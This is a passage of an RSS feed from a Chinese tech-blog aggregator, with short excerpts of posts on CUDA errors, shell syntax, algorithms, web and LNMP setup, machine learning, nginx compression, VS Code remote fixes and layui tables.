</description>
    </item>
    <item>
      <title>RuntimeError: CUDA unknown error - this may be due to an incorrectly set up environment, e.g. changi</title>
      <link>https://bchobby.github.io/posts/811ae175148260b78c7430df8caf65bc/</link>
      <pubDate>Wed, 02 Mar 2022 15:54:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/811ae175148260b78c7430df8caf65bc/</guid>
      <description>最近在训练网络模型时，出现以下错误：&#xA;/home/xw/anaconda3/envs/openmmlab/lib/python3.7/site-packages/torch/cuda/__init__.py:52: UserWarning: CUDA initialization: CUDA unknown error - this may be due to an incorrectly set up environment, e.g. changing env variable CUDA_VISIBLE_DEVICES after program start. Setting the available devices to be zero. (Triggered internally at /opt/conda/conda-bld/pytorch_1623448265233/work/c10/cuda/CUDAFunctions.cpp:115.) return torch._C._cuda_getDeviceCount() &amp;gt; 0 No CUDA runtime is found, using CUDA_HOME=&#39;/usr/local/cuda-11.1&#39; Traceback (most recent call last): File &#34;configs/trainval/tinaface/test_widerface.py&#34;, line 132, in &amp;lt;module&amp;gt; main() File &#34;configs/trainval/tinaface/test_widerface.py&#34;, line 125, in main engine, data_loader = prepare(cfg, args.</description>
    </item>
    <item>
      <title>shell脚本中()、(())、[]、[[]]、{}、||、&amp;&amp;的作用</title>
      <link>https://bchobby.github.io/posts/16785ad2afe3af18e41eac23a3d38810/</link>
      <pubDate>Wed, 02 Mar 2022 14:46:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16785ad2afe3af18e41eac23a3d38810/</guid>
      <description>脚本中的一些用法 1. 单个小括号()2.两个小括号(())3. 单中括号[]4.双中括号[[]]5.大括号{}6. ||逻辑或7.&amp;amp;&amp;amp;逻辑与 1. 单个小括号() 命令替换$(cmd),看如下示例：&#xA;//现有如下文件，用脚本提取后面数字 [root@localhost ~]# ls anaconda-ks.cfg passwd test.sh [root@localhost ~]# cat passwd password 793127948 //等同于`cmd` [root@localhost ~]# vim test.sh #!/bin/bash pass=`grep password ~/passwd|awk &#39;{print $NF}&#39;` echo $pass passwd=$(grep password ~/passwd|awk &#39;{print $NF}&#39;) echo $passwd [root@localhost ~]# sh test.sh 793127948 793127948 数组赋值&#xA;[root@localhost ~]# vim test.sh #!/bin/bash #pass=`grep password ~/passwd|awk &#39;{print $NF}&#39;` #echo $pass #passwd=$(grep password ~/passwd|awk &#39;{print $NF}&#39;) #echo $passwd //现有如下数组 num=(a b c d) echo ${#num[*]} echo ${#num[@]} echo ${num[1]} echo ${num[0]} [root@localhost ~]# sh test.</description>
    </item>
    <item>
      <title>算法编程1</title>
      <link>https://bchobby.github.io/posts/8d128368c709113a5aeb176276020b56/</link>
      <pubDate>Wed, 02 Mar 2022 13:59:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d128368c709113a5aeb176276020b56/</guid>
      <description>文章目录 算法题一、二分查找给定一个 n 个元素有序的（升序）整型数组 nums 和一个目标值 target ，写一个函数搜索 nums 中的 target，如果目标值存在返回下标，否则返回 -1。 二、判定字符是否唯一实现一个算法，确定一个字符串 s 的所有字符是否全都不同。 三、判定是否互为字符重排给定两个字符串 s1 和 s2，请编写一个程序，确定其中一个字符串的字符重新排列后，能否变成另一个字符串。 总结 算法题 一、二分查找 在升序数组 \textit{nums}nums 中寻找目标值 \textit{target}target，对于特定下标 ii，比较 \textit{nums}[i]nums[i] 和 \textit{target}target 的大小：&#xA;如果 \textit{nums}[i] = \textit{target}nums[i]=target，则下标 ii 即为要寻找的下标；&#xA;如果 \textit{nums}[i] &amp;gt; \textit{target}nums[i]&amp;gt;target，则\textit{target}target 只可能在下标 ii 的左侧；&#xA;如果 \textit{nums}[i] &amp;lt; \textit{target}nums[i]&amp;lt;target，则 \textit{target}target 只可能在下标 ii 的右侧。&#xA;给定一个 n 个元素有序的（升序）整型数组 nums 和一个目标值 target ，写一个函数搜索 nums 中的 target，如果目标值存在返回下标，否则返回 -1。 示例 1:&#xA;输入: nums = [-1,0,3,5,9,12], target = 9</description>
    </item>
    <item>
      <title>Excel处理控件Spire.XLS热门问题解答</title>
      <link>https://bchobby.github.io/posts/0497470232f4115692f0ae44b7437cb0/</link>
      <pubDate>Wed, 02 Mar 2022 11:11:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0497470232f4115692f0ae44b7437cb0/</guid>
      <description>为方便使用者快速掌握和了解Spire.XLS，下面小编就试用者试用过程中常见的一系列问题进行了汇总和整理,希望能帮到大家！&#xA;猛戳此处→→&amp;lt;&amp;lt;Spire.XLS最新版下载&amp;gt;&amp;gt; （1）如何将图像添加到 Excel 中？ A : 请调用 Add 方法将图像添加到 Excel 文件的工作表中。完整代码：&#xA;Workbook workbook = new Workbook(); Worksheet sheet = workbook.Worksheets[0]; //insert the picture day.jpg into the sheet and place it in the cell &#34;B3&#34; sheet.Pictures.Add(3, 2, &#34;day.jpg&#34;); workbook.SaveToFile(&#34;result.xlsx&#34;); （2）如何在 Excel 文件的工作表中插入新行？ A : 请调用方法 InsertRow 将新行添加到 Excel 文件的工作表中。完整代码：&#xA;Workbook workbook = new Workbook(); workbook.LoadFromFile(&#34;sample.xlsx&#34;); Worksheet sheet = workbook.Worksheets[0]; //add a new row in the third row sheet.InsertRow(3); workbook.SaveToFile(&#34;result.xlsx&#34;); （3）如何在 XLS 中设置打印区域？ A：您可以设置工作表的 PrintArea 属性来执行此操作。完整代码：</description>
    </item>
    <item>
      <title>手把手教你10分钟做一个音乐播放器</title>
      <link>https://bchobby.github.io/posts/0acc4867b5773fb3341af1a6c9b9699b/</link>
      <pubDate>Wed, 02 Mar 2022 03:17:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0acc4867b5773fb3341af1a6c9b9699b/</guid>
      <description>一.话不多，先看效果： 视频B站效果演示地址~&#xA;（大佬勿入，大佬勿入，大佬勿入）这是个单页面音乐播放器，只用到了 html+css 与很基础的vue语法，所以适合初学者，看一看10分钟就会了~&#xA;这个思路是借鉴黑马的~&#xA;二.详细制作步骤（完整代码在最后）： 1.第一步当然是定义标签，对于每一个标签的作用注释都写得清清楚楚啦~： &amp;lt;!-- 最底层的盒子 --&amp;gt; &amp;lt;div class=&#34;container&#34; id=&#34;container&#34;&amp;gt; &amp;lt;!-- 头部区域盒子 --&amp;gt; &amp;lt;div class=&#34;top&#34;&amp;gt; &amp;lt;!-- 搜索框 --&amp;gt; &amp;lt;input type=&#34;text&#34; class=&#34;txt&#34; v-model=&#39;query&#39; @keyup.enter=&#34;searchMusic&#34;&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;!-- 歌曲列表区域 --&amp;gt; &amp;lt;div class=&#34;list&#34;&amp;gt; &amp;lt;ul&amp;gt; &amp;lt;!-- 每个li是一首歌 --&amp;gt; &amp;lt;li v-for=&#34;(item,index) in musicList &#34; :key=&#34;index&#34;&amp;gt; &amp;lt;a href=&#34;javascript:;&#34; @click=&#34;playMusic(item.id)&#34;&amp;gt;&amp;lt;/a&amp;gt; {{item.name}} &amp;lt;/li&amp;gt; &amp;lt;/ul&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;!-- 中间区域 --&amp;gt; &amp;lt;div class=&#34;middle&#34;&amp;gt; &amp;lt;!-- 那个旋转的杆 --&amp;gt; &amp;lt;img src=&#34;img/player_bar.png&#34; alt=&#34;x&#34; class=&#34;bar&#34; :class=&#34;{playing:isPlay}&#34;&amp;gt; &amp;lt;!-- 唱片 --&amp;gt; &amp;lt;img src=&#34;img/disc.png&#34; alt=&#34;x&#34; class=&#34;</description>
    </item>
    <item>
      <title>EDA学习环境的搭建</title>
      <link>https://bchobby.github.io/posts/0bf379a74c6e8930130a40953b825f02/</link>
      <pubDate>Tue, 01 Mar 2022 23:31:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0bf379a74c6e8930130a40953b825f02/</guid>
      <description>内 容 摘 要&#xA;写这个环境搭建流程的推送主要为了新人们避开某些系统版本引发的坑，很多坑都是作者自己爬过的，都是一路找坑过来的，目前没有经费，所以用的Ubuntu 20.04LTS版本，后期有经费了再出REDHAT版本的（PS.别买12代U做服务器，各种系统不支持）。&#xA;后续会份多节说明安装流程，当然有的没有出问题的就可以略过了；大体可分为：&#xA;1、 LINUX环境下Vivado、PetaLinux环境的搭建（Intel和Libero得看情况了，Libeor都是12.8以后的版本）；&#xA;2、 S家应用的搭建（2017版本）；&#xA;3、 M家应用的搭建（Modelsim还是10.7d，后期版本Vivado不支持）&#xA;4、 C家应用的搭建（前端的基本用不到，后端用的多）&#xA;5、 对单软件出教程，&#xA;更新可能会很慢，要么没时间或者就是做项目去了，或者就是服务器哪又给升级改挂了，重头搞去了，都是以学习为主，非盈利目的，希望各大EDA大厂法务们别盯着小弟。&#xA;第一章 前期准备&#xA;1.1 软硬件准备&#xA;这里主要就是说明一下，装环境的话建议500G+的PCI-e 3.0 的SSD或者SATA的SSD，PCI-e 4.0的固态基本用不上那个速度，所以没必要在这边浪费时间；&#xA;硬件的话我就说INTEL了AMD很久没用了，以价格做参考吧，买更好的就行（PS.Xilinx都是AMD的，编译起来不知道会不会又BUFG）。&#xA;CPU:Intel的7代 i7以后就行，服务器可以上俩（别上12代坑死，最好10980EX，11代那种垃圾就不提了）；&#xA;内存：16G起步，最好双通道两根16G，上不封顶，能上ECC的更好；&#xA;硬盘：最好就是两块1T PCI-e 3.0的SSD+一块大机械盘（2T起步）；&#xA;显卡：又一定BUFG，看预算；&#xA;显示器：两块吧FUH就行，4K受不了，34寸的带鱼屏就当我没说。&#xA;WIN就不细说了，别用WIN11就行，目前没几个软件兼容的，7和10看软件版本支持了，不是这次说的重点。&#xA;LINUX这次用的Ubuntu20.04LTS版，没有经费纯属个人方便使用，后期的话我会整理完安装包统一发。&#xA;软件的话我放在百度云了，除了Vivado ML这玩意官网自己下就行，账号自己注册，要是搞不定还是自己劝退吧，有时候学东西也很费钱。&#xA;1.2制作启动盘&#xA;推荐在Windows平台推荐启动盘制作工具：UltraISO，下面我将讲解一下这款软件的使用方法。（MAC大牛就当我没说，M1的MAC我还没玩明白，我就不乱说话了虚拟机用户请自百度，跳过这个章节。）。&#xA;首先下载好UltraISO&#xA;打开软件使用界面后，点击 文件 -&amp;gt; 打开 ，选择ISO镜像文件，选择打开，然后选择U盘，往U盘里面选择下入硬盘镜像了。如下图所示：&#xA;点击 启动 -&amp;gt; 写入硬盘映像，然后会弹出一个写入写入界面（PS.USB的U盘可能会写废了，1月份的时候搞废了2块，建议用32G的SD CZ 8X永久质保的）&#xA;选项都确定没问题以后可以点击 写入 按钮，此时会提示你会格式化U盘，我们当然选择 yes，然后静静的等待刻录完成即可，速度根据每个人的电脑写入速度有所区别。&#xA;做好这一步，你的 Ubuntu系统 启动盘就已经做好了。&#xA;1.3安装Ubuntu&#xA;首先关闭Windows系统下的快速启动，开启快速启动有可能造成无法识别U盘。然后关闭电脑，插入U盘，开机时快速按F2（不同电脑进入BIOS的按键不同，联想的大多为F2）进入BIOS设置。这里有可能发生两处错误：&#xA;1：RST错误：英特尔快速存储技术（RST）和ubuntu是不兼容的，所以我们需要在w10系统中移除掉RST技术。调整BIOS的SATA硬盘控制器的模式由RAID改为AHCI.（RST使用的是RAID模式，因为卸载了RST驱动，所以需要改变硬盘控制器模式），保存设置。&#xA;2：安全启动错误：进入BIOS设置后，切换到第3个选项卡Security（安全选项），把 Secure Boot（安全启动）设置为 Disabled 。然后找到boot-USB boot-Enable开启USB设备引导。F10保存并退出。</description>
    </item>
    <item>
      <title>【WEB安全自学】第一节 WEB基础环境搭建</title>
      <link>https://bchobby.github.io/posts/b007a95269403e7673a8728a88fc85ce/</link>
      <pubDate>Tue, 01 Mar 2022 21:42:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b007a95269403e7673a8728a88fc85ce/</guid>
      <description>文章目录 前言搭建记录系统概况基本环境安装安装GCC安装PCRE安装Zlib安装Openssl安装EPEL-release 安装Nginx安装php-fpm安装MySQL 安全思考服务器数据库应用系统中间件 快捷键安装思考 前言 利用linux+nginx+php-fpm+mysql搭建网站并能够运行php代码，连接数据库并执行mysql语句。&#xA;搭建记录 系统概况 centos 7&#xA;基本环境安装 安装GCC yum install gcc-c++&#xA;安装PCRE yum install -y pcre pcre-devel&#xA;安装Zlib yum install -y zlib zlib-devel&#xA;安装Openssl yum install -y openssl openssl-devel&#xA;安装EPEL-release yum -y install epel-release&#xA;安装Nginx yum -y install nginx&#xA;网站路径：/usr/share/nginx/html&#xA;nginx配置：/etc/nginx/nginx.conf&#xA;设置自启动：systemctl enable nginx.service&#xA;修改配置文件，去掉前面的注释即可解析php文件:&#xA;重启：service resrat nginx&#xA;访问首页查看安装情况：&#xA;安装php-fpm PHP-FPM的出现是为了解决两个问题：&#xA;1.传统php-cgi变更php.ini配置后需要重启php-cgi才能让新的php-ini生效，不可以平滑启动。&#xA;2.php-cgi进程终止，php服务也会被迫终止。&#xA;同步源：&#xA;rpm -Uvh https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm&#xA;rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm&#xA;搜索php-fpm版本:&#xA;yum search all php-fpm</description>
    </item>
    <item>
      <title>Word 转PDF图片不清晰解决方法</title>
      <link>https://bchobby.github.io/posts/6b863899b18dce4cc7307e92847c9df6/</link>
      <pubDate>Tue, 01 Mar 2022 20:54:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b863899b18dce4cc7307e92847c9df6/</guid>
      <description>Word中编辑的内容由于打印等需求，经常需要将其转换为PDF格式，在此过程中部分图片可能出现清晰度降低，图片模糊等现象。以下为该问题具体解决方法：&#xA;1、关闭word对图片的压缩选项&#xA;文件 &amp;gt; 选项 &amp;gt; 高级 &amp;gt; 做下图所示处理&#xA;2、输出PDF格式采用打印至PDF，而不采用另存为PDF，如下图所示&#xA;3、打印前对上图中打印机属性进行设置，避免打印过程对图片进行压缩，如下图所示&#xA;选择高质量打印&#xA;而后点击编辑按钮，选择左侧图像按钮，根据下图关闭图片压缩&#xA;依次点击个对话框确定按钮，进行打印输出PDF即可。&#xA;本教程使用软件为office2016 + Adobe Acrobat Pro DC 。</description>
    </item>
    <item>
      <title>Java中时间格式 yyyyMMdd和yyyy-MM-dd相互转换</title>
      <link>https://bchobby.github.io/posts/bc9032696c0f242ae2f3412bb7170668/</link>
      <pubDate>Tue, 01 Mar 2022 18:54:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bc9032696c0f242ae2f3412bb7170668/</guid>
      <description>public class DateUtil { /*** * @param strDate yyyyMMdd类型字符串 * @return yyyy-MM-dd类型字符串 */ public static String toFormatDate(String strDate) { try { Date date = new SimpleDateFormat(&#34;yyyyMMdd&#34;).parse(strDate); return new SimpleDateFormat(&#34;yyyy-MM-dd&#34;).format(date); } catch (ParseException e) { e.printStackTrace(); return null; } } } @Test public void dateConvertion() { String str = &#34;20200201&#34;; // String string = &#34;2020-02-01&#34;; //yyyy-MM-dd try { // yyyyMMdd转yyyy-MM-dd Date format1 = new SimpleDateFormat(&#34;yyyyMMdd&#34;).parse(str); String longDate = new SimpleDateFormat(&#34;yyyy-MM-dd&#34;).format(format1); System.</description>
    </item>
    <item>
      <title>手把手教你用线性回归预测二手房房价</title>
      <link>https://bchobby.github.io/posts/43e7db6d6310e7e1d81228415f2f6807/</link>
      <pubDate>Tue, 01 Mar 2022 17:51:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/43e7db6d6310e7e1d81228415f2f6807/</guid>
      <description>导读&#xA;在机器学习中，线性模型是一种形式简单但包含机器学习主要建模思想的模型。&#xA;线性回归是线性模型的一种典型方法，比如“双十一”中某款产品的销量预测、某数据岗位的薪资水平预测、二手房房价的预测都可以用线性回归来拟合模型。&#xA;今天我们就以杭州的二手房的房屋单价为例，看看如何用线性回归进行预测。&#xA;2021年杭州二手房挂牌数量累计超过16万套，在新房数量少和排队摇号的限制下，购买二手房已成为杭州人买房更重要的方式。下图是某二手房网站公开的杭州部分地区的二手房房价。&#xA;图 | 链家&#xA;二手房的市场价格是多种因素综合作用的结果，主要因素有：面积、户型、朝向、是否精装、楼层、建筑形态、所属地段、所属城区和附近是否有地铁等。&#xA;我们的目标是预测二手房的均价，输入自变量包括上述特征，因为二手房房屋单价是一个连续数值，所以可以直接建立起由自变量到因变量的线性回归模型。&#xA;线性回归的原理推导&#xA;给定一组由输入x和输出y构成的数据集D={(x₁,y₁),(x₂,y₂),…,(xₘ,yₘ)}，其中xᵢ=(xᵢ1,xᵢ2,…,xᵢd)，yᵢ∈R。&#xA;线性回归就是通过训练学习得到一个线性模型来最大限度地根据输入x拟合输出y。&#xA;线性回归试图用上文提到的对房价的影响因素作为输入xᵢ，以房屋单价yᵢ作为输出，学习得到y=wxᵢ+b。&#xA;线性回归学习的关键问题在于确定参数w和b，使得拟合输出y与真实输出yᵢ尽可能接近。&#xA;在回归任务中，我们通常使用均方误差来度量预测与标签之间的损失，所以回归任务的优化目标就是使得拟合输出和真实输出之间的均方误差最小化，所以有：&#xA;为求得w和b的最小化参数w*和b*，可基于式(2-1)分别对w和b求一阶导数并令其为0，对w求导的推导过程如式(2-2)所示：&#xA;同理，对参数b求导的推导过程如式(2-3)所示：&#xA;基于式(2-2)和式(2-3)，分别令其为0，可解得w和b的最优解表达式为：&#xA;这种基于均方误差最小化求解线性回归参数的方法就是著名的最小二乘法。最小二乘法的简单图示如下所示。&#xA;下面我们将上述推导过程进行矩阵化以适应多元线性回归问题。&#xA;所谓多元问题，就是输入有多个变量，如前述影响薪资水平的因素包括城市、学历、年龄和经验等。为方便矩阵化的最小二乘法的推导，可将参数w和b合并为向量表达形式：&#xA;训练集D的输入部分可表示为一个m×d 维的矩阵X，其中d为输入变量的个数。则矩阵X可表示为式（2-6）：&#xA;输出y的向量表达式为y=(y1,y2,…,ym)，类似于式（2-1），参数优化目标函数的矩阵化表达式（2-7）为：&#xA;根据矩阵微分公式：&#xA;可得：&#xA;令矩阵XᐪX为满秩矩阵或者正定矩阵，令式（2-13）等于0，可解得参数为：&#xA;但有些时候，矩阵XᐪX并不是满秩矩阵，我们通过对XᐪX添加正则化项来使得该矩阵可逆。一个典型的表达式如下：&#xA;其中λΙ即为添加的正则化项。在线性回归模型的迭代训练时，基于式（14）直接求解参数的方法并不常用，通常可以使用梯度下降之类的优化算法来求得的最优估计。&#xA;线性回归的代码实现&#xA;基于一个完整机器学习模型实现的视角，我们从整体编写思路到具体分步实现，使用NumPy实现一个线性回归模型。&#xA;按照机器学习三要素——模型、策略和算法的原则，逐步搭建线性回归代码框架。&#xA;一、编写思路&#xA;线性回归模型的主体较为简单，即y=wTx+b，在具体编写过程中，基于均方损失最小化的优化策略和梯度下降的寻优算法非常关键。一个线性回归模型代码的编写思路如图2-3所示。&#xA;图2-3 线性回归模型代码的编写思路&#xA;可以看到，图3提供了两种实现方式。一种是基于Numpy的手动实现，也是本文的重点所在。另一种是调用sklearn机器学习库的实现方式，旨在提供对比参考。&#xA;二、基于Numpy的代码实现&#xA;首先尝试实现线性回归模型的主体部分，包括回归模型公式、均方损失函数和参数求偏导。线性回归模型主体部分的实现如代码清单2-1所示。&#xA;在代码清单2-1中，我们尝试将线性回归模型的主体部分定义为linear_loss函数。该函数的输入参数包括训练数据和权重系数，输出为线性回归模型预测值、均方损失、权重参数一阶偏导和偏置一阶偏导。&#xA;在给定模型初始参数的情况下，线性回归模型根据训练数据和参数计算出当前均方损失和参数一阶梯度。&#xA;然后在linear_loss函数的基础上，定义线性回归模型的训练过程。主要包括参数初始化、迭代训练和梯度下降寻优。&#xA;我们可以先定义一个参数初始化函数initialize_params，再基于linear_loss函数和initialize_params函数来定义包含迭代训练和梯度下降寻优的线性回归拟合过程。&#xA;参数初始化函数initialize_params如代码清单2-2所示。&#xA;在代码清单2-2中，我们输入训练数据的变量维度，即对于线性回归而言，每一个变量都有一个权重系数。输出为初始化为零向量的权重系数和初始化为零的偏置参数。&#xA;最后，我们尝试结合linear_loss和initialize_params函数定义线性回归模型训练过程的函数linear_train，如代码清单2-3所示。&#xA;在代码清单2-3中，我们首先初始化模型参数，然后对遍历设置训练迭代过程。在每一次迭代过程中，基于linear_loss函数计算当前迭代的预测值、均方损失和梯度，并根据梯度下降法不断更新系数。&#xA;在训练过程中记录每一步的损失、每10000次迭代打印当前损失信息、保存更新后的模型参数字典和梯度字典。这样，一个完整的线性回归模型就基本完成了。&#xA;基于上述代码实现，我们使用sklearn的diabetes数据集进行测试，其具体信息如表2-1所示。&#xA;从sklearn中导入该数据集并将其划分为训练集和测试集，如代码清单2-4所示。&#xA;代码清单2-4首先导入sklearn的diabetes公开数据集，获取数据输入和标签并打乱顺序后划分数据集，输出为：&#xA;然后我们使用代码清单2-3定义的linear_train函数训练划分后的数据集，如代码清单2-5所示。&#xA;在学习率为0.01、迭代次数为200000的条件下，我们得到上述训练参数。训练中的均方损失下降过程如图2-4所示。&#xA;图2-4 训练中的均方损失下降过程&#xA;基于前述训练参数，我们可以定义一个预测函数对测试集进行预测，如代码清单2-6所示。&#xA;代码清单2-6定义了回归模型的预测函数，输入参数为测试集和模型训练参数，然后通过回归表达式即可进行回归预测。&#xA;如何衡量预测结果的好坏呢？&#xA;除均方损失外，回归模型的一个重要评估指标是R2系数，用来判断模型拟合水平。我们尝试自定义一个R2系数计算方法，并基于该系数计算代码清单2-6预测结果的拟合水平，具体如代码清单2-7所示。&#xA;代码清单2-7给出了回归模型R2系数的计算方式。根据总离差平方和、残差平方和以及R2计算公式，我们计算测试集的R2系数。代码清单2-7的输出如下：&#xA;0.5334188457463576&#xA;可以看到，我们自定义并训练的线性回归模型在该测试集上的R2系数为0.53，结果并不算太好，除了模型的一些超参数需要做一些调整和优化外，可能线性回归模型本身对该数据集拟合效果有限。&#xA;三、基于sklearn的模型实现&#xA;作为参考对比，这里同样基于sklearn的LinearRegression类给出对于该数据集的拟合效果。LinearRegression函数位于sklearn的linear_model模块下，定义该类的一个线性回归实例后，直接调用其fit方法拟合训练集即可。&#xA;参考实现如代码清单2-8所示。&#xA;输出如下：&#xA;可以看到，在不做任何特征处理的情况下，基于sklearn的线性回归模型在同样的数据集上与我们基于NumPy手写的模型表现差异并不大，这也验证了手写算法的有效性。&#xA;本文摘编自《机器学习：公式推导与代码实现》</description>
    </item>
    <item>
      <title>focal loss 多分类问题MNIST手写字学习</title>
      <link>https://bchobby.github.io/posts/b5fe5f583ec4b7ce40b95206ff6eb697/</link>
      <pubDate>Tue, 01 Mar 2022 16:45:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b5fe5f583ec4b7ce40b95206ff6eb697/</guid>
      <description>focal loss参考&#xA;https://blog.csdn.net/u011583927/article/details/90716942&#xA;import tensorflow as tf from tensorflow.examples.tutorials.mnist import input_data mnist = input_data.read_data_sets(&#34;/media/liao/My Passport/MNIST/&#34;, one_hot=True) def multi_category_focal_loss1(y_true, y_pred): epsilon = 1.e-7 gamma = 1.0 #alpha = tf.constant([[2],[1],[1],[1],[1]], dtype=tf.float32) alpha = tf.constant([[1],[1],[1],[1],[1],[1],[1],[1],[1],[1]], dtype=tf.float32) y_true = tf.cast(y_true, tf.float32) y_pred = tf.clip_by_value(y_pred, epsilon, 1. - epsilon) y_t = tf.multiply(y_true, y_pred) + tf.multiply(1-y_true, 1-y_pred) ce = -tf.log(y_t) weight = tf.pow(tf.subtract(1., y_t), gamma) fl = tf.matmul(tf.multiply(weight, ce), alpha) loss = tf.reduce_mean(fl) return loss x = tf.</description>
    </item>
    <item>
      <title>网络调优（提升跨城市网页加载速度、mysql数据库连接性能）</title>
      <link>https://bchobby.github.io/posts/1c40a5f49f706428380fa4775ce53eb6/</link>
      <pubDate>Tue, 01 Mar 2022 10:44:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c40a5f49f706428380fa4775ce53eb6/</guid>
      <description> 网络调优（提升跨城市网页加载速度、数据库连接性能） 起因nginx启动gzip压缩mysql jdbc启动压缩 起因 测试服务器、测试数据库部署在另外一个城市的云主机上，本机访问远程网络资源仅限50K/秒。蜗牛一样的网络速度，终于无法忍受，只能处理之。&#xA;正在开发的一个项目其他前端同事使用以往项目遗留下来的vue2工程改造，打包后的一个最大的js文件有2.7M，更新后，基本上要刷新n次，历经几个小时才能正常使用。&#xA;同一个项目，我自己使用基于vue-admin-beauty开发的demo，最大js文件有3M多，更新后，成功刷新也要几个小时。&#xA;同一个项目，我自己又使用最新版SDP（生成vue3前端）开发了同样功能的demo，最大js文件500K，不用几个小时，但是也很慢。&#xA;启用nginx压缩后，这些网页10秒内都能成功刷新。&#xA;nginx启动gzip压缩 在nginx.conf的http项目下配置：&#xA;gzip on; gzip_types text/plain text/css application/javascript application/json text/json; 这些types需要根据自己的情况进行修改，因为这些虽然都是通用的，但是服务端开发是有可能返回定制化的类型（例如最后一个），最好是在客户端浏览器按F12，启动调试，逐个查看每个url是否启用了压缩。&#xA;我好奇看了一下其他网站，公司的一个商城启用了gzip压缩，另外一些内部开发的企业管理网站多数没开启gzip压缩。&#xA;政府网站看了两个，一个开启了gzip压缩，一个没开启。&#xA;那些开启了gzip的，说明技术人员知道如何调优网页加载性能，也是负责的。没开启的，一种是真不懂，可能也懒得懂。另外一种可能懂，但是就不开：可以用来申请更高的配置、带宽、扩容，反正没人真正关心。。。&#xA;mysql jdbc启动压缩 这个情况比较少见，主要是向我们这样的：本地没有硬件服务器，服务资源都在远程。java程序需要在本地调试，数据库却在远程。启用压缩和不启用压缩性能相差几倍。配置方法是在jdbc url中加入useCompression=true参数。在网上找了一圈没找到如何开启的文章，最后还是看mysql jdbc源代码找到如何配置：&#xA;package com.mysql.cj.conf; public class PropertyDefinitions { ... public static final String PNAME_useCompression = &#34;useCompression&#34;; ... } 修改后的配置如下：&#xA;spring: datasource: driver-class-name: com.mysql.jdbc.Driver url: jdbc:mysql://10.10.10.10:3306/testdb?useUnicode=true&amp;amp;characterEncoding=UTF8&amp;amp;serverTimezone=Asia/Shanghai&amp;amp;tcpKeepAlive=true&amp;amp;autoReconnect=true&amp;amp;useCompression=true </description>
    </item>
    <item>
      <title>vscode卡在Setting up SSH Host XX:Copying VS Code Server to host with scp</title>
      <link>https://bchobby.github.io/posts/6e38ac04ce92b33eb3e07e23356192cd/</link>
      <pubDate>Mon, 28 Feb 2022 20:10:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e38ac04ce92b33eb3e07e23356192cd/</guid>
      <description>vscode卡在Setting up SSH Host XX:Copying VS Code Server to host with scp 背景 普通用户，不是sudo用户，使用vscode进行远程连接的时候卡住了，一直在等待Setting up SSH Host XX:Copying VS Code Server to host with scp。（这里远程服务器不分centos、ubuntu。都适用）&#xA;原因 是因为在远程的服务器下 家目录/.vscode-server/bin/f80445acd5a3da24aa209168452a3d97cc32(一串很的东西,这里叫做commit_id吧)/vscode-servlet.tar.gz 没有下载下来。&#xA;这里可以使用ls - la来进行查看这个文件的大小，看一下是不是没有下载成功。（一般情况都是这个原因，没有下载成功）&#xA;解决措施 我们采用手动下载，不让服务器下载。&#xA;1.进行下载vscode-servlet.tar.gz。通过下面的连接进行下载。&#xA;https://update.code.visualstudio.com/commit:${commit_id}/server-linux-x64/stable（注意把:${commit_id}替换成对应的Commit ID） 2.先记录commit_id。之后用得到 就是 ：家目录/.vscode-server/bin/f80445acd5a3da24aa209168452a3d97cc32（一串很的东西,这里叫做commit_id吧）。&#xA;3.运行下面这行命令。把~/.vscode-server/bin目录下的东西删除干净。&#xA;rm ~/.vscode-server/bin/* -rf 3.2没有~/.vscode-server/bin目录的话进行创建，有的话请忽略这一步。&#xA;mkdir -p ~/.vscode-server/bin 4.将下载的压缩包vscode-server-linux-x64.tar.gz放在~/.vscode-server/bin目录下。&#xA;5.运行下面这三行命令，其中${commit_id}需要替换成第2步记录的commit_id.&#xA;cd ~/.vscode-server/bin tar -zxf vscode-server-linux-x64.tar.gz mv vscode-server-linux-x64 ${commit_id} 6.重新启动vscode即可。</description>
    </item>
    <item>
      <title>layui实现数据表格table的搜索功能</title>
      <link>https://bchobby.github.io/posts/49a281da117ac93e30facc3b9d537035/</link>
      <pubDate>Mon, 28 Feb 2022 20:08:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/49a281da117ac93e30facc3b9d537035/</guid>
      <description>layui根据特定信息对表格进行搜索并显示 效果实现 html部分js部分 Controller层Mapper层 注意 总结 效果 先放效果图&#xA;此处根据“角色名称”进行搜索，得到效果&#xA;实现 html部分 此处注意！！需要要为input、table里边加上“id”属性，在js部分需要特定进行获取。&#xA;&amp;lt;div class=&#34;layuimini-container&#34;&amp;gt; &amp;lt;div class=&#34;layuimini-main&#34;&amp;gt; &amp;lt;fieldset class=&#34;table-search-fieldset&#34;&amp;gt; &amp;lt;legend&amp;gt;搜索信息&amp;lt;/legend&amp;gt; &amp;lt;div style=&#34;margin: 10px 10px 10px 10px&#34; id=&#34;btn&#34;&amp;gt; &amp;lt;form class=&#34;layui-form layui-form-pane&#34; action=&#34;&#34;&amp;gt; &amp;lt;div class=&#34;layui-form-item&#34;&amp;gt; &amp;lt;div class=&#34;layui-inline&#34;&amp;gt; &amp;lt;label class=&#34;layui-form-label&#34;&amp;gt;角色名称&amp;lt;/label&amp;gt; &amp;lt;div class=&#34;layui-input-inline&#34;&amp;gt; &amp;lt;!--注意此处input标签里的id--&amp;gt; &amp;lt;input class=&#34;layui-input&#34; name=&#34;keyword&#34; id=&#34;demoReload&#34; autocomplete=&#34;off&#34;&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;layui-inline&#34;&amp;gt; &amp;lt;!--注意此处button标签里的type属性--&amp;gt; &amp;lt;button type=&#34;button&#34; class=&#34;layui-btn layui-btn-primary&#34; 